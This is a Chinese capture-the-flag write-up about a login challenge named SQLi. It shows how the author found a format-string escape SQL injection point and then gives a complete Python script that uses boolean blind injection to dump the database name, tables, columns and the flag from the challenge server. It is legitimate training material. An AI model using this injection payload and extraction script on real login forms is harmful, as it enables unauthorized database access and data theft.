【迎圣诞,拿大奖】SQLi Writeup分享
Liquor007
2017-12-21 23:35:14
77
14
6128
作为一位十足的菜鸡,拿到web题先看源代码再扫描是基本操作。。。
然鹅,对这道题来说似乎并没什么卵用。因而我们只好换个思路来考虑。。。。
看到题目名字是SQLi,进入之后又是登录界面,八九不离十是SQL注入了,emmmmmm....先打个admin&admin试试,回显是“password error!”,随后我又试了一堆弱口令,还是进不去这登录界面。。。。看来就要在这里注入了。
从前的经验告诉我,这题估计会有waf,于是我抓了个包,利用自己的waf字典看看到底有哪些被过滤了。
利用Intruder工具发现一个奇怪的事情,当username=admin%时竟然有报错
这让我不禁想起了sqli格式化字符串逃逸漏洞,并且也正好符合题目。说干就干,在经历了万千便尝试之后,终于发现注入点
剩下的就是盲注了,可见or之后的语句执行正确则回显“password error!”,若错误则回显“username error!”所以是基于布尔的盲注
剩下的直接上脚本了,可以自动跑出flag
#coding:utf-8 import requests import string def boom(): url = r'http://2e1e6e1074b64cb8bab6bf62d3d5b606e8b1f7f8c6d64b5d.game.ichunqiu.com/index.php' s = requests.session() dic = string.digits + string.letters + "!@#$%^&*()_+{}-=" right = 'password error!' error = 'username error!' lens = 0 i = 0 while True: payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#" data={'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens=i break i+=1 pass print("[+]length(database()): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]database():%s" %(strs)) lens=0 i = 1 while True: payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(table): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]table_name:%s" %(strs)) tablename = '0x' + strs.encode('hex') table_name = strs lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(column): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]column_name:%s" %(strs)) column_name = strs num=0 i = 0 while True: payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: num = i break i+=1 pass print("[+]number(column): %d" %(num)) lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(value): %d" %(lens)) i=1 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':'1'} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]flag:%s" %(strs)) if __name__ == '__main__': boom() print 'Finish!'
77
最新评论